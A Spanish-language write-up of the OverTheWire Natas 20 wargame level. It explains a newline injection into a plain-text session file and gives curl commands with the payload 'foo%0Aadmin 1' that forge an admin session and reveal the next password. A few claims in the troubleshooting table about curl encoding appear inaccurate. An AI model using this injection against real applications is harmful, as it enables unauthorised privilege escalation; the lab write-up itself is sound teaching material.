Natas Nivel 20 a 21
Nivel oficial: http://natas20.natas.labs.overthewire.org
Este nivel introduce una vulnerabilidad en el mecanismo de persistencia de sesion del servidor: el codigo almacena variables de sesion como pares clave valor separados por saltos de linea, y acepta entrada del usuario dentro de ese mismo flujo. Inyectando un salto de linea en el campo name, se pueden escribir variables de sesion arbitrarias.
Laboratorio legal y autorizado. OverTheWire es una plataforma educativa de wargames. Practica estas tecnicas unicamente en entornos con permiso explicito.
Objetivo
Conseguir que la sesion tenga la variable admin con valor 1 para que el servidor muestre la contrasena de natas21 (<pass_natas21>).
Que aprendes
| Concepto / Comando | Para que sirve |
|---|---|
Inyeccion de CRLF / LF (%0A) | Romper el formato de linea en archivos o cabeceras que el servidor construye con entrada del usuario |
| Mass assignment de sesion | Escribir variables de sesion no previstas por la logica de negocio |
curl -b / -c | Mantener y reutilizar cookies entre peticiones |
Codificacion URL (%0A) | Representar el caracter \n (LF) en una peticion HTTP |
| Inspeccion de respuesta HTTP | Verificar que la inyeccion tuvo efecto leyendo el cuerpo devuelto |
Concepto clave
Inyeccion de saltos de linea en almacenamiento de sesion (session file injection / CRLF injection en sesiones)
El servidor guarda el estado de la sesion en un archivo de texto plano con el formato:
clave1 valor1
clave2 valor2
Al leer el campo name del formulario, lo escribe tal cual como:
name <valor_del_usuario>
Si <valor_del_usuario> contiene un salto de linea (\n), el servidor interpreta el texto que viene despues como una nueva linea del archivo de sesion, es decir, como una nueva variable. Esto es un caso de mass assignment inducido por inyeccion: el atacante asigna variables de sesion que el codigo solo deberia asignar internamente (como admin).
La categoria OWASP mas proxima es A03:2021 - Injection combinada con una falla de validacion de entrada que desemboca en elevacion de privilegios dentro de la sesion.
Paso a paso
- Accede al nivel e inicia sesion para obtener una cookie de sesion valida.
curl -s -c /tmp/natas20_cookies.txt \
-u natas20:<pass_natas20> \
"http://natas20.natas.labs.overthewire.org/" > /dev/null- Envia el payload de inyeccion en el campo
name. El caracter%0Aes el salto de linea (LF). La cadenaadmin 1es la nueva variable que queremos inyectar en el archivo de sesion.
curl -s -b /tmp/natas20_cookies.txt -c /tmp/natas20_cookies.txt \
-u natas20:<pass_natas20> \
--data-urlencode "name=foo
admin 1" \
--data "submit=Update" \
"http://natas20.natas.labs.overthewire.org/" > /dev/nullAlternativa enviando el LF codificado a mano en la URL (equivalente):
curl -s -b /tmp/natas20_cookies.txt -c /tmp/natas20_cookies.txt \
-u natas20:<pass_natas20> \
--data "name=foo%0Aadmin+1&submit=Update" \
"http://natas20.natas.labs.overthewire.org/" > /dev/null- Recarga la pagina con la misma cookie para que el servidor lea la sesion ya envenenada y evalue si
admin == 1.
curl -s -b /tmp/natas20_cookies.txt \
-u natas20:<pass_natas20> \
"http://natas20.natas.labs.overthewire.org/"- Busca la contrasena en el HTML de respuesta.
curl -s -b /tmp/natas20_cookies.txt \
-u natas20:<pass_natas20> \
"http://natas20.natas.labs.overthewire.org/" \
| grep -i "password\|natas21"Si el ataque tuvo exito, el servidor mostrara algo como:
You are an admin. The credentials for the next level are:
Username: natas21
Password: <pass_natas21>
Nota: Algunos despliegues del reto pueden requerir enviar el payload y recargar en dos peticiones separadas porque el servidor escribe la sesion al terminar la peticion y la lee al principio de la siguiente. Si no aparece la contrasena en el paso 3, repite exactamente ese mismo paso una vez mas.
Por que funciona
El servidor construye el archivo de sesion concatenando directamente la entrada del usuario:
name <lo_que_escribio_el_usuario>\n
Al no sanear saltos de linea, un valor como foo\nadmin 1 produce en disco:
name foo
admin 1
Cuando el servidor recarga esa sesion, parsea linea por linea y extrae admin = 1. La comprobacion if ($_SESSION["admin"] == 1) se cumple y se revela la contrasena. El fallo es la ausencia de validacion de caracteres de control en la entrada antes de escribirla en un formato estructurado por lineas.
Errores comunes
| Error | Causa probable | Solucion |
|---|---|---|
| La pagina no muestra la contrasena tras el payload | La sesion se escribe al cerrar la peticion y se lee al abrir la siguiente; solo se hizo una peticion | Envia el payload (paso 2) y luego recarga (paso 3) como dos peticiones distintas con la misma cookie |
curl no mantiene la cookie entre llamadas | Se uso -b sin -c, o se uso un archivo distinto | Usa siempre el mismo archivo con -b /tmp/natas20_cookies.txt -c /tmp/natas20_cookies.txt en cada llamada |
El %0A llega al servidor como literal %250A | Doble codificacion: --data ya codifica, o se mezclo con --data-urlencode | Usa --data-urlencode o escribe el salto de linea literal; no combines ambas codificaciones |
La inyeccion inserta name+foo%0Aadmin+1 en vez de parsear correctamente | Los + no se decodifican como espacios en --data raw | Cambia los + por %20 o usa --data-urlencode para el valor del campo |
Pasar al siguiente nivel
Con la contrasena <pass_natas21> obtenida, accede a:
http://natas21.natas.labs.overthewire.org
Credenciales: usuario natas21, contrasena <pass_natas21>.